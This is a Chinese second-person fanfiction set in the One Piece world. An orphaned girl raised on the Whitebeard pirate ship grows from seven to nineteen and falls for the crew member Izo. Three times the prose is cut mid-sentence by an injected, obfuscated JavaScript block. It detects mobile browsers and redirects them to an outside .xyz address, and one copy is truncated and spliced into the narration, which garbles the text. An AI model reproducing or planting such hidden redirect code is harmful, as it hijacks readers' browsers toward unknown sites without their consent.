《离开白团的我决定广撒网》 1. 海贼团 收留你的是一个海贼团。由于人太多,你无法把他们的名字和脸对上,只知道他们是“白胡子海贼团”的人。领头的是一个看上去就很不好惹的爷爷,所有人都称他为“老爹”。由此可以得知,他就是“白胡子”。 这是你上船后的第三天,今天也有人和你打招呼,试图从你这里套出一些信息。 “小姑娘,你总该告诉我们你叫什么了吧?” 眼前和你搭话的男人半蹲着和你搭话,试图让自己高大的身躯在你眼里没这么恐怖。可他忘了,于七岁的你而言,这艘船上的所有活物都无比高大。即使比斯塔说话的时候给你递了朵花,你的身体还是出于本能,躲到了自认为安全的距离。 只见比斯塔手上的花肉眼可见的颓废了,和因沟通失败陷入沮丧状态的比斯塔一样。在一旁静观其变的一行人随之笑了起来,每个人的笑声都很有特色,但所有人的笑声里毫无恶意,和迫使你进行过重劳动的王族不同。 可以信任吗?你不清楚,但你知道随意交付信任的后果很恐怖。是昏暗不见天日的地下室,是过劳也无法休息的白夜,是馊掉却死不了的饭菜。 打断现下这种局面的是刚从医务室里出来的马尔科,只需看上一眼,他就了解了事情的大概:“差不多得了,她还在适应船上的生活,不要勉强她开口yoi。” 说完,马尔科把围在一起看热闹的船员遣散开来,唯有以藏还留在原地目不转睛地看着你。许是以藏的样貌让你产生一瞬的熟悉感,你竟和他对上了视线。对上视线那刻,你从那双探究的眸中看到一丝笑意。 “不想把头发梳起来吗?要是信得过我,我可以替你扎起来。” 显然,以藏是对你披头散发的状态感兴趣。这还是第一次有人在意你的外形,以至于你没能做出过多的思考,就点头同意了以藏替你梳头的提议。待你散落眼侧的发丝被以藏梳起,你莫名颤抖的身体引起了以藏的注意。 轻微到连自己都无法察觉的颤抖,被以藏尽收眼底。以藏知道,想让你忘记至今为止遭到的痛苦需要很长的时间,他也没那种自信。他能做的,仅仅是在你允许他靠近的时间里做最大程度的事。 “别害怕,我不会伤害你的。” 身后传来的男声格外的温柔,和穿梭在你发间的动作一样,感觉不到恶意。因为是不需要多余技术的高马尾,以藏的动作很快。你甚至还没从以藏在给你梳头的状态中反应过来,大功告成的以藏就收回了打理你发丝的梳子,向在一旁尚未离去的马尔科展示他的成果。 “好了,这样看上去就精神很多了。你说对吧,马尔科?” 经以藏的提醒,你才注意到站在一旁的马尔科。下意识做好逃跑准备的身体,在看到马尔科上扬的嘴角时忘了接下来要做的事。 “是啊,看上去精神很多了yoi。” 这是发自内心的夸赞。 你十分清楚,这是以藏的功劳。可他们看向你,笑着说肯定你的话时,仿佛你真的如他们所说那般精神。 而一直观察你的马尔科注意到这个变化,用哄小孩的语气向你透露出很有意思的信息。 “除了以藏,船上的其他人应该也会扎头发。如果有人拜托他们,应该会高兴吧?” 从中提取到重点信息的你默默记住了,只有一旁的以藏欲言又止。以藏知道马尔科是出于好意说这种话,可想到除他以外的人的手工技能...... 在你的头发和你还有大家都开心的选项中,以藏昧着良心选了后者。 接下来很长一段时间里,你经常会拿着以藏给你的发圈和梳子,小心翼翼地询问着船上的人是否可以帮你扎头发。即使他们知道自己做不来这种事,还是欣然应下你的请求,十分高兴地替你扎了乱七八糟的马尾。 马尔科、萨奇和哈尔塔是除了以藏之外,为数不多能让你感觉不到头发要和头皮分离的疼痛,又能扎好的存在。这也是为什么当你和白胡子海贼团的大家交好时,很长一段时间都没放过马尔科头发的原因。 虽然无法从马尔科头上薅回那段时间逝去的头发,但听到马尔科配合你的动作发出的哀嚎声,你很快放弃了这个没什么用的报复行为。 也是这样,在他们准备把你放在就近的岛上时,习惯了船上生活的你不愿下船。这就难倒一群大老爷们了,软硬兼施地劝说你下船。 可不管怎么说,你都不愿松开抓着以藏衣角的手。眼见有人想用武力让你下船,以藏拦下了他,一直没出声的白胡子也开口了。 “不愿下就不下吧,反正还有这么多岛,船上也装得下一个小孩。” 于是,让你下船的事就这么拖下去了。 途经一个接一个岛屿,所到之处都没有人认识你,以至于一直叫你“小姑娘”“小鬼”的一行人,尝试从你嘴里撬出你的名字。 得知你没有名字,唯一能称为名字的是折磨你的恶人所起的代号时,船上掀起了给你起名的风波。 有的以酒名给你命名,又有用食物命名,各种千奇百怪的名字都有。就连在你眼中无所不能的以藏也起了个让你无法接受的名字。 哈尔塔:“就叫萨拉吧,据说有‘公主’的意思来着。” 虽然他们还想再给你起别的名字,但白胡子觉得这个名字很不错,于是你就有了“萨拉”这个名字。 你并不清楚自己和船上的他们算什么关系,也没人特意和你提起这些,之前怎么对你现在就怎么对你。就是偶尔会有人闲得发慌,不停叫你的名字,把你喊过去揉乱你的头发,就和你说没事了。 手不怎么巧的你只能让以藏重新替你梳头。次数多了,以藏把船上那几个给他增加工作量的人都打了一顿,这场闹剧才画下句号。 以藏:“你啊,不要谁叫你都过去啊。” 看着眼前不为你打扰自己而生气,反而抓着主谋打一顿的以藏,你总觉得以藏是船上最有魅力的人。 - 哈尔塔问你为什么这么喜欢缠着以藏,十岁的你说不出具体的答案,随后用“以藏擅长化妆和扎头发”为理由搪塞过去了。 自上船到现在,你也无数次问过自己这个问题。当然,你也喜欢船上的所有人。只是在所有人里,以藏的存在感在你这的存在感格外强烈。 白胡子海贼团的人都很热情,特别是有孩子的男人,他们对你表现出了前所未有的热情。借马尔科的话来说,就是把你当成了他们远在家乡的孩子。对家人的思乡之情,终于找到地方宣泄了。老实说,你无法理解这种行为。在你的认知中,这些好都不属于你,应该回到理应拥有这些“好”的人身上。 说是这样,你不也借着自己年龄小的优势享受着以藏的照顾?据马尔科所说,以藏在上船前有个弟弟。虽然以藏的弟弟年龄要比你大很多,但从马尔科透露的信息里,你总算明白了以藏看到你时,眼底多出来的笑意和温柔是为什么了。 或许你和其他人一样,把以藏当成了记忆里待自己温柔的存在,所以对以藏格外的喜欢。 你很不安,你害怕自己的情感被以藏或其他人发现,随后失去待在船上的理由。 潜意识告诉你,除了船上的人知道你的存在,就没有人会接纳你了。所以,即使你更喜欢陆地,也不想下船的机会。 船上的大家多少有察觉到你的异样,但他们消除不安的方式意外的没用。 对,说的就是经常会在你耳边说“以藏要回和之国不要你了”的人。不仅没安抚你的心情,还加剧了你对自己可能下船的不安。 即使你就算对你最好的以藏回国,他们也不会把你赶下船,你还是无法把那句话当成玩笑。以至于那段时间的你格外地努力,不管是练习还是打杂都比船上的新人做得好,连老爹都看出了你的不同。 也是这样,十岁的你不再整天缠着以藏教你做手工和化妆,反而热衷于给其他人化妆和扎头发。这是你给自己打的预防针,为的是以藏下船后你可以处理自己的事。 不管是没多少头发的马尔科,还是胡子和头发一样长的比斯塔和老爹,都难逃你的魔掌。本以为你下一个目标就是自己的以藏,发现你有意绕过他,连着几次都遇到这种情况后,以藏还是抓着你问了个究竟。 要知道在这之前,你可是做什么都跟着他,甚至能在十六支队伍里准确辨认出他所在的船、并在所有人发现前跑到甲板等着他回来的存在。 也不是喜欢的问题,只是习惯了这种被等待的感觉,突然失去这种优待让以藏有点不适应。 在以藏的追问下,你沉默不语,不愿告诉他最近疏远他的真相。从以藏的视角来看,你抿紧着唇极力忍耐着的表情很是可怜,仿佛他说多两句,在眼里打转的雾水就回倾泻而出。 那要怎么办呢? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913099|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以藏不知道该怎么安慰你,只能作罢:“不说就不说吧,别哭啊。” 以这句话为导火线,你还是哭出来了。着实没想到你会哭的以藏手忙脚乱地找手帕,还是在二层上望风的马尔科听到你的哭声,从上面跳下来给你递的手帕。 于是两人得知了你最近异常努力的原因,还体验了把安慰小孩的痛苦。面对你说的“以藏会回和之国”的玩笑,以藏没有给予你肯定和否定答案。 正因为以藏清楚自己在国家和白胡子海贼团间,哪个遇到困难都不会坐视不管的性格,所以不敢和你做承诺。 眼见好不容易停下哭泣的你又要因此落泪,以藏伸出右手的小指,放柔了语气:“但是我回国一定会告诉你,这样可以吗?” 你并不想同意这种以藏一定会离开的承诺,但耐不住以藏注视你的双眸格外得好看,也学着他伸出右手的小指,和以藏立下“契约”。站在一旁的马尔科作为你们立约的见证人还补上了以藏违约吞一千根针的惩罚,被你否决了。 没想到你会不同意的两人有些诧异,面对他们的不解,低着头的你闷声道出你的感受:“违约的话...就违约吧。” “我不想以藏难受。” 意想不到的答案让两人怔在原地。迷茫的人变成你时,马尔科和以藏不却捂着脸背对着你,似乎在嘀咕着什么。可惜声音太小,你没听清两人具体在说什么。 但这件事后,以藏和马尔科严厉禁止船上的人拿这件事和你开玩笑,并让老爹作为立规的见证人。 老爹:“库啦啦...你们别太欺负萨拉了。” 以老爹的话为句号,这件事就这么结束了。不过在立规后,老爹私下叫你去他的房间,和你说了悄悄话。大致的意思是让你安心,只要你不想下船,不会有人赶你走的。 “不会有人抛弃你的。” 在老爹的安慰下,你又喜极而泣了。要知道在你最不熟悉船上生活时,你也没哭过。这一天被不同的人弄哭两次,着实稀奇。 好在老爹没告诉别人,还吆喝着大家开宴会。你问老爹为什么开宴会,老爹笑着用小指的指腹碰了下的你发顶,笑语着奇怪的原因。 “为船上多个规矩而庆祝。” 听上去没有庆祝的理由,但你们是海贼,做很多事并不需要理由。反正有酒有肉有篝火,就能成为海贼的宴会。 所以大家在甲板上有说有笑地聊着各种话题时,你将甲板上混乱而嘈杂的场景尽数记在脑海里。你的年龄不能喝酒,杯子里的只有果汁。一开始也不是没人想让你试着喝酒,但敢这么做的都被马尔科和以藏揍了,于是就没人敢这么和你开玩笑了。 期间有人喝酒喝大了跳进海里,一群人笑着把他捞上来后,就这么穿着湿衣服继续喝起来。 你对酒不感兴趣,光是闻到味就不想喝。但看到他们如此沉迷于酒精,你又觉得酒可能不像表面一样难喝。在你继续纠结酒是什么味道时,马尔科从热闹的人群中走了过来,单手把你从角落提起来:“该回房间了,接下来的活动不太小孩参加yoi。” 经过这段时间的相处,你知道他们接下来是要拼酒了。马尔科赶在他们所有人喝大前把你送回房间,也是保护你的一种方式,你自然不会辜负他的好意。离开前,你朝以藏的方向看来一眼,只见他有所感知地看了你一眼,朝你回了让你个安心的弧度,又转过头和船上的人喝酒了。 回到房间的你隔着不厚木板听着外面嘈杂的声音,翻阅着以藏带给你的书籍。由于你所学的字还不够多,书里的内容又有些难懂,你读书时还要借助字典,才能读懂一些困难的语句。 在此期间,你可以通过外面的交谈声得知谁又喝醉了、又有谁闹出笑话。不知怎么的,你就是没从他们的交谈声中得知以藏喝醉的信息。 想到这,你的目光从书上移开,落在他们聚会方向的墙上。你见过船上很多人喝醉的样子,有的会在醉后大哭,诉说着他对家人的情感;有的会在醉后睡得谁来都叫不醒;还有的会和平时一样,看不出有哪里不同,但别人问什么他都答得牛头不对马嘴。 所以,以藏喝醉时又是什么样的?你想象不到以藏喝醉时的样子,也没见过他喝醉的样子。 饶是十岁的你被这个问题困扰了很长一段时间,你依然不会在他们喝酒时加入其中。因为你在场时,他们多少会有点顾忌。 2. 年龄差 十五岁的你不再是做什么都需要人护着的年龄,多少也有点自保能力。不过在重要的场合里,他们还是会给予你一定的关注。像是和海军或同行交战时,还是会第一时间让你躲起来。即使你很肯定自己不会受伤,把照顾你当成习惯的众人还是会在下一次遇到这种场合时,依然让你躲起来。 但这次他们没让你躲起来,你理所当然地凑到以藏的身边参与战斗。直到豪迈的笑声从甲板处传来时,老爹叫停了所有人的动作。也是这样,你看到了这场战斗的另一个头领。 来人叫“香克斯”,看上去和马尔科的年纪相差不大。由于是第一次见面,加上你不擅长和陌生人来往的性格,只是扫了一眼香克斯,你就躲到以藏身后去了。即使如此,香克斯还是注意到了你的存在,颇有兴趣地说起你的话题:“真有意思,那就是你们船上的老幺啊?” 面对香克斯探究的目光,老爹一句话把话题引回他此次前来的目的上。得知香克斯只是顺路和他们打个招呼后,两方人马欣然准备宴会,为伟大航线上的不期而遇而庆祝。 由于你是第一次和红发海贼团见面,宴会时基本都在厨房给萨奇打杂。或是怕你无聊,萨奇难得劝说你离开厨房去认识其他团的人。 “不想出去认识一下吗?我听说红发那里有和你年龄相近的船员。多认识点人总归是好的。” 你对船上以外的人不感兴趣,摇头谢绝了萨奇的提议。不等萨奇为之叹气时,你反客为主,劝萨奇参加宴会。 “萨奇也去喝酒吧,剩下的我来处理就好。” 意想不到的劝说让萨奇怔住了。只见萨奇叹息一声,随后他放下了手中的厨具,揉乱了你的发顶。按理说,萨奇在揉乱你发型后就会出去参加宴会,结果这次反其道而行。 “小孩这么成熟干嘛?让你玩就过去。” 说完,萨奇就把你推出厨房。以防你有反悔的机会,萨奇还把厨房门关上了。隔着一层木板,你还能听到萨奇和其他人在厨房对你的叮嘱,大致的内容是让你多认识几个人。 你站在原地,看着紧闭的厨房门好一会儿,无奈地接受了自己被人推着交朋友的事实。 也是这样,你来到了热闹又嘈杂的甲板上,在老爹富有特色的笑声中坐到了以藏的身旁。注意到你到来的以藏停下和耶稣布的交谈,自然而然地替你撩起洒落在脸侧的头发。 “怎么出来了?” “萨奇赶我出来交朋友,我就来了。” 你们交流的时间里,以藏拿着口袋里的发夹替你夹起了脸侧的碎发。由于动作过于自然,坐在对面的耶稣布脸色有点不太对劲。深知耶稣布是误会了你和自己的关系的以藏,在做完这些后主动说起你在船上的身份。 “这是我们船上的老幺。” 以藏的介绍打消了耶稣布脑海里不合实际的想法,后者回以爽朗的笑声缓和气氛。 “我就说,看上去和我儿子差不多大!虽然之后可能不怎么有机会见面,但我是耶稣布。” 来人自报家门,你也不会有失礼仪。 “你好,我是萨拉。” 由于你的加入,耶稣布和以藏很自然地聊起了你和他儿子的话题,期间耶稣布也说起了他们船上和你年龄相仿的见习船员,还把他喊来和你打招呼。 约克是个性格开朗的男孩,和你的性格完全相反。饶是聊天的对象是你,也能挤出有意思的话题。只可惜,你的心思不在约克身上,而是一旁的以藏身上。 许是夜晚和篝火格外般配的原因,在你身旁把酒相谈的以藏和白天的以藏不太一样。以藏的身上少了几分面对你时才有的沉稳,更多的是海贼身上特有的自由和坦荡。连带着你不怎么喜欢的酒味,在以藏的手上也格外的诱人。 真奇怪,滴酒不沾的你竟有几分醉意。而一杯酒下肚的以藏,还在和耶稣布讨论着射击的技巧。说到起兴时,以藏还会和耶稣布笑着干杯。但以藏没有喝完,只是抿了一口,好看的眉间就多了几条皱褶。但这不影响你欣赏以藏的美。 以藏喝醉是什么样的呢? 在十岁时困扰着你的问题再度浮现在脑海里。下一秒,你手中的杯子被以藏夺走,不曾对你严厉的以藏第一次露出了凶狠的表情。 “你喝了多少?” 你的思绪有些混乱,不太能明白以藏的意思,但有问必答的习惯让你摇头回答了以藏的问题。 在这之后的事你记不清了,只记得离你们最近的马尔科走了过来,和以藏在一众人无恶意的笑声中离开了宴会的场所。 那一晚你睡得很沉,连以藏在你的房间里守了你一晚都没有察觉。 醒来时,你在大家调侃你的笑声中知道自己是滴酒不能沾的体质了。可你记得坐在以藏身旁时,递给你的是果汁啊?只有以藏那杯是酒才对。 不知怎么的,你的脑海里浮现出了以藏昨晚皱眉的表情。后知后觉意识到什么的你果断走进离你最近的杂物间,整理脑子乱成一团的思绪。 所以你喝的...是以藏的酒?明明你想看以藏喝醉的样子,结果自己先醉了。而这个令你难受的宿醉,似乎还要持续一段时间。 今早的你没见到以藏,还是哈尔塔告诉你以藏一大早就出海找什么了,你才知道以藏的消息。挺好的,你感觉自己一时半会儿无法面对以藏。 “也不知道他这么急着出去干嘛,昨晚还守了你一夜来着。” 哈尔塔自言自语地对话让你大脑宕机,被路过的乔兹误会为还在宿醉,转身就准备把马尔科喊过来,被你及时叫停。 哈尔塔:“你真的没事?” 乔兹:“不要担心会麻烦到马尔科,要是难受不说憋出大问题才是真正的麻烦。” 面对两人的关怀,你隐约要烧起来的脸更烫了。以防不被两人强行架起来去医务室,你急忙找了个借口开溜,留下茫然的哈尔塔和乔兹在原地面面相觑。 鉴于你昨晚喝醉的缘故,萨奇没喊你帮忙,没事可做的你跑到经常去的角落里练习以藏送你的枪。以往你能打上一上午,但今天没打几枪,注意力就溃散了。没有效率的练习只会让人疲惫,你果断放弃了再练下去的想法。刚准备把枪放好时,陌生的声音在身后响起。 “怎么不练了?” 你猛地转身,手上的枪早随时都能扣下扳机。直到你看清在一旁围观的人是香克斯后,才放下手中的枪。对于你接近冒犯的行为,香克斯并不在意,反而哈哈大笑起来。你不明白香克斯笑得含义,只能等他笑完再问。结果笑得将近岔气的香克斯没等你开口,就说起了他笑的原因。 “你很有意思啊!看上去和约克年龄差不多大,又成熟得不像是这个年龄的孩子。” 所以是什么意思?你试图理解香克斯这话是在褒义还是贬义,香克斯的下一句话就让你明白他是来找茬的了。 “但果然还是小孩,情绪都写脸上了!” 看香克斯完全没有船长包袱的逗你,手中的枪又有拿出来的预兆。还是你以极强的意志力,才忍耐住给眼前人来一枪的冲动。 “就年龄来说...我是小孩没错。要是没什么事的话,我先走了。” 再怎么说香克斯也是其他团的船长,你不好像与马尔科他们斗嘴一样,和香克斯起争执。香克斯没有强行留下你,还有心情地朝你挥手说“下次见”。你不好说会不会有“下次”,但你十分清楚自己不擅长应对香克斯这种类型的人。 不过,被香克斯这么一闹,你的心情有所好转。至少目前见到以藏,你也能和平时一样和他对话了。等等,香克斯不会是故意这么做的吧?一闪而过的念头让你定在了原地,又被你摇头否定。 你和香克斯是第一次见,他又有什么理由来逗你呢?果然,还是香克斯闲得无聊和你搭话更符合现状。 - 以藏回来时香克斯一行人也离开了。许是平时会去甲板迎接以藏的你没到场,以藏在和船上的人聊完后主动来找你了。以藏进门的第一句话就是关心你的身体:“头还痛吗?” 你把书签夹在看到的页码后接上以藏的话。 “不痛了。比起这个,你应该去睡觉才对。” 不走近还看不清,你走到门口,一眼便看到以藏乌青的眼圈。很显然,这是以藏守了你一晚的证明。对于你带有谴责意味的关心,以藏无谓地摆手,空出的那只手拿出了一个盒子。 “这个给你。” 带有强迫意味塞进你怀里的盒子怪沉的。以藏还没有离开,靠在门口的动作,透露出他在等你打开盒子的信号。在以藏的注视下,你打开了盒子,看到了橙色的恶魔果实。这个礼物太贵重了,和以往以藏送你的书和武器都不是同个级别的。 你下意识想还给以藏,被他单手塞回怀里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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早有预料的一桌人纷纷叹气,其中离你最近的萨奇屈起手指敲了下你的额头,用恨铁不成钢的语气念叨你:“不要老是跟着以藏啊,他再怎么说也是男人。你一个十几岁的女孩,天天跟着他哪里好了?” 坐在隔壁桌的哈尔塔十分自然地接上话题:“没错,还是个单身到三十六岁的老男人。” 一时间,餐厅里响起了欢乐的笑声,期间掺杂着以藏和哈尔塔斗嘴的声音,还有你在这当中格外微弱的、为以藏辩解的声音。可惜,没有人听你为以藏的辩解,只有萨奇在你耳边念叨着让你多交点朋友的声音。 老男人吗?在热闹又混乱的食堂中,你透过挡在面前的两人间的空隙看去,看到了以藏和哈尔塔对骂时豪迈的笑容。怎么看都不老啊,才三十六岁,也就比你大二十岁而已。 直到你和以藏登岛,走在热闹的人群中,你还在想着刚才在船上的事。坐在你左侧的以藏不动神色地观察着你,期间不忘扫几眼跟了你们两条小巷的流氓。 早在你们登岛的树林里,以藏就注意到身后的几个尾巴了。但以藏和你的实力都能解决,他就懒得理后面的人了。比起这些,他更在意你的情绪。 “还在为刚才的事生气吗?” 你摇头否定了以藏的猜想:“…没有,我没有生气。我在想,我是不是给以藏添麻烦了。” 如果你不缠着以藏,他就能像马尔科他们一样,毫无顾忌的去想去的地方,也不用每次登岛都跟着保护你,也不会想哈尔塔说的那样,一直单身到三十六岁。虽然你会为此感到高兴,但这种高兴随着年龄增长变成“内疚”。 说是这样,要是以藏身边有其他女性,你大概做不到欣然接受吧。 知道你开始钻牛角尖的以藏有些无奈,伸手揉了揉你的发顶。 “想什么呢,我没这么想过,船上的大家也不会这么想,他们就是和你闹着玩的。” “…真的?” 你小心翼翼地看向以藏,后者轻笑一声,给予你肯定答案:“真的。” 得到以藏的肯定答复后,你的情绪好了不少,步伐都轻快起来了。见状,以藏的心情也好了很多。在他看来,你就不适合愁眉苦脸的表情。 不过一直跟在你们后面的几个多少有点烦,还是找个角落解决掉算了。 3. 喜欢 十九岁的你已经能接受自己对以藏的情感是出于异性的“喜欢”了。但自己接受是一回事,他人是否接受又是一回事。你也不知道多少人看出来了,只知道劝说你去岛上生活的人更多了,连以藏也是其中的一员。 这让你感到难过和不安,但你能做的事和以往一样,打哈哈地推掉。 除此之外,就是现在的你不能再以年龄优势和以藏出行了。除了你,以藏也有其他的崇拜者,你总得把以藏身边的位置空出来。就像现在,还没等以藏问你登陆的安排,十六番队的新人就向他发出邀请了。交谈的时间还没一分钟,以藏就带着他们离开了甲板。 以藏不是没叫你一起,但你只想和以藏单独相处,就婉拒了他的邀请。结果他们刚走远,你就趴在甲板上闹情绪了。 “看到十六番队来新人吃醋了?” 你应声回头,看到和萨奇说好出门的马尔科站在你的身后。如果是别的话题,你还会和马尔科说多几句。话题是以藏,你就不太想聊了。不过马尔科的聊天欲望没有消减,反被你激起来了。 “有进步,会闹情绪了。” 马尔科边说边走到你身旁,伸头揉了把你的发顶,给你无情地拍开:“没有,我没有闹情绪。” “还骗人呢,都写脸上了,要拿镜子照给你看不?” 在马尔科调侃的笑声中,你默默把脸埋进臂弯里,只露出一双眼睛看着不远出的陆地。不用想也知道,现在的你表情一定很难看。 “…不要。” 眼见你肉眼可见的消沉,拿你没辙的马尔科有些头疼。明眼人都能看出你对以藏不一样的情感,以藏也是有所察觉才慢慢疏远你的。 年龄是一个问题,你在船上是外来的客人还是其中一员,至今也是一个问题。他们教你海贼的生存方式,却没人强迫你也要成为海贼。 和海军对上时,他们还会把你藏起来,生怕海军看到你,把你也挂在悬赏令上。他们没告诉你这么做的原因,但你也能猜到,这是为你之后找到想定居的岛屿做的准备。 这样的好意让你有点难过。 而想要让你打起精神的马尔科正在想办法,余光扫到正准备进岛的怀迪贝,他想到办法了。 于是,本来打算一个人去喝酒的怀迪贝带着你去了岛上的酒吧。即使马尔科说尽量别带你去酒吧,认为你应该见识下更多场面的怀迪贝毅然决然地带你一起来了。 “你都十九岁了,那群男人还把你当七岁管,真是白痴。” 虽然你平时不怎么和怀迪贝聊天,但怀迪贝说的前半句话你很认可。这让你搞不懂他们是讨厌你还是喜欢你,但不管是前者还是后者,你都不怎么喜欢。 “对,他们真得很烦。” 许是第一次见你明确表达出自己的情感,怀迪贝又一杯酒下肚,还喊酒保拿多了两杯,把其中一杯塞进你手里。 “对!是男是女怎么了,我们可是海贼,想要的东西就要拿到手!为了自由干杯!” 你不清楚怀迪贝口中的“自由”具体是指什么,但她是个很有感染力的女性。听着怀迪贝的笑声,你不禁跟着笑了起来,举起杯子和她碰杯,学着记忆中船上的大家喝酒的动作,把杯中的酒一饮而尽。 理应是冰冷的液体,它流经过喉道却异常的炙热,过于急躁的喝法使你干咳起来。伴随着你的干咳声,怀迪贝的笑声更为清晰,她大笑着拍着你的背,替你舒缓烈酒下肚的不适。 “酒量不错啊!再来!” 喘上气的你看到杯中的酒被满上时,一时有点不知所措。但怀迪贝很高兴,还在为你踏出马尔科他们的管教而笑个不停,期间还掺杂着她的个人看法。 "以藏再怎么好看也是个男人,别看他那样,缠着他的桃花也不少。" 怀迪贝的话是有说服力的,你点头赞同。不如说,船上的大家其实都有不少的追求者,只是每个人对待追求者的方式不同。有的来者不拒,有的所有人都拒,还有的每去一个地方都有情人。至于以藏是哪种,目前没人告诉你,以藏也没在你面前透露过。 扯远了,现在和你在一起的人不是以藏,你把思绪放回被酒精染红脸的怀迪贝。 “那怀迪贝的桃花呢?” “我?当然也有很多!只要是我喜欢的,都逃不出我的掌心!” 说着,怀迪贝朝路过你们身旁的男人吹了口哨,西装革履的男人刚想发作,在看到怀迪贝的样貌时红着脸逃离,惹得怀迪贝开怀大笑。 “这种不行,逗来玩还没什么。” 许是酒精上头,向来对男女话题不感兴趣的你竟想要知道更多。 “那什么样子的才行?” 面对你的询问,怀迪贝毫不吝啬地分享她的见闻。什么穿衣自由、长相端正前凸后翘的,最好是一眼就能看到身材的男人。聊得起兴时,你和怀迪贝又喝了两杯酒。她还很有精神,你却开始看不清酒吧里的人影了。 不过怀迪贝说的每个特征,你都把它们和船上的人一一对应。 穿衣自由,马尔科和老爹就挺自由的,一天到晚都是一件外套和裤子,除非是冷得快死了,不然都是那种穿搭。 长相端正,以藏和哈尔塔就很好看,比斯塔也很不错,还有萨奇。 一眼就能看到身材的,船上基本都是海上的自由男人,每个人身材都不错。在你意识迷离的期间,有人推开了酒吧的门,怀迪贝单手把你从吧台捞起,和你分享她的见闻。 “喏,现在进来的那个就不错,不过长相不是我喜欢的类型,不然就请他喝一杯了。” 原谅你醉得快睡着了,只能勉强看清向吧台走来的男人将近赤裸的上半身。肌肉纹路分明,看上去手感就不错的样子。 许是酒精在你这过于强大,向来理智和怕生的你,竟记得怀迪贝的后半句话,拿着没喝的酒拦住了路过你们的男人。 “帅哥,要一起喝一杯吗?” 由于你的动作太快,怀迪贝甚至没得及拦下你。 刚进门找地方坐的米霍克则是被突然闯入视野的酒吓一跳。不是没注意到讨论他的你们,但只有酒和强者能引起米霍克的注意。而今天,米霍克就是来喝酒的,并不想让其他事打扰他。 即使如此,麻烦还是会找上门,而且找上门的麻烦,意外得挺对米霍克的胃口。 以上是米霍克的想法,酒精中毒的你则是为自己的酒没被接受而喃喃自语。 “为什么不喝?这个又没毒...还是说、你只是不想喝我的酒?” 你记得怀迪贝说拒绝喝酒就是没看上的意思,而米霍克没接受你的酒的事实,这让你有些难过。 而不久前还觉得马尔科他们对你过保护的怀迪贝明白了,原来马尔科他们不是不让你喝酒,而是你根本喝不了酒! 眼见事情就要发展到不可挽回的地步,怀迪贝放下酒杯,连忙把快睡到米霍克胸上的你捞回怀里,向米霍克说明情况。 “抱歉,她是喝醉了在说胡话,你别放心上。” 原来是喝醉了。米霍克打量着你因酒精满脸春意的脸,被酒水湿润的唇很是诱人。只是邀请他喝酒的你还不知道自己的魅力,正在怀迪贝的怀里小声抽泣。而抽泣的原因,似乎是因为他拒绝了你的酒。 没想到你喝醉是这个样子的怀迪贝有些头大。如果你是她的船员,她还能打晕了拉走。但你不闹,就是在她怀里小声抽泣,说着“没人喜欢我”这种听了怪心疼的话,让怀迪贝不知道说什么好。 干脆打晕算了。怀迪贝刚准备下手,被你缠上的米霍克接过你手上的酒杯,将里面的酒一饮而尽,放在台上。 “你可以走了。” 米霍克的具体让怀迪贝不解,但你却像断电的玩具一样,在米霍克喝完杯中的酒后秒入睡。这下好了,怀迪贝不用考虑把你打晕的事了。松了口气的怀迪贝把贝利放在桌上,把昏睡中的你打横抱起,朝坐下的米霍克道了声谢就离开了酒吧。 这场闹剧随着酒吧门一开一合的声音画下句号。 照顾醉鬼不是怀迪贝擅长的事,所以她把你交给马尔科后,又跑到镇上喝酒快活去了,留下马尔科陪着你。 天知道马尔科看到喝得不省人事的你被怀迪贝抱回来时内心有多崩溃。他有想过怀迪贝会带你喝酒,也想过你会喝,但他没想到你会喝成这样。看着躺在床上因不适皱眉的你,马尔科替你盖上被子。 “唉...这次是我决策失误了?” 被酒精迷晕的你不知道马尔科在念叨什么,只记得怀迪贝和你说的话:喜欢的都逃不出掌心。 你在海贼船上长大的,那你是海贼,以藏也是海贼。你喜欢以藏,那你想要拥有以藏又有什么错? 类似这种的话在你脑海里循环,直至回到船上替马尔科照顾你的以藏来到房间,头晕目眩的你猛地从床上坐起。 “怎么不继续躺着了?” 坐在你床边的以藏很是担忧。而听到以藏声音的你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913101|160242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床上愣了几秒,缓缓转过头,看向坐在一旁的以藏。 以藏不是没见过你喝醉时的样子,那时他还怕你出事守了你一夜。但这一次喝醉的你,和十五岁时的你截然不同。注视着他的那双黑眸满是醉意,还没找到聚焦的地方。直到你注意到他的存在,漆黑的双眸染上了喜悦的星光。 木制椅子倒下的声音和海浪声交融在一起。毫无防备的以藏被你扑倒在地,以防你受伤,以藏第一时间护住了你的头部,结果压在他身上你毫发无伤。 就你们目前的姿势而言,只要有人推开门,都会误会你们的关系。意识到这点的以藏催促着你起身,可和醉酒的人讲道理是最不合理的。你没有听,反而俯下身,把以藏胸前的衣襟扯得更开,毫不犹豫地把脸埋进他温热的胸膛。 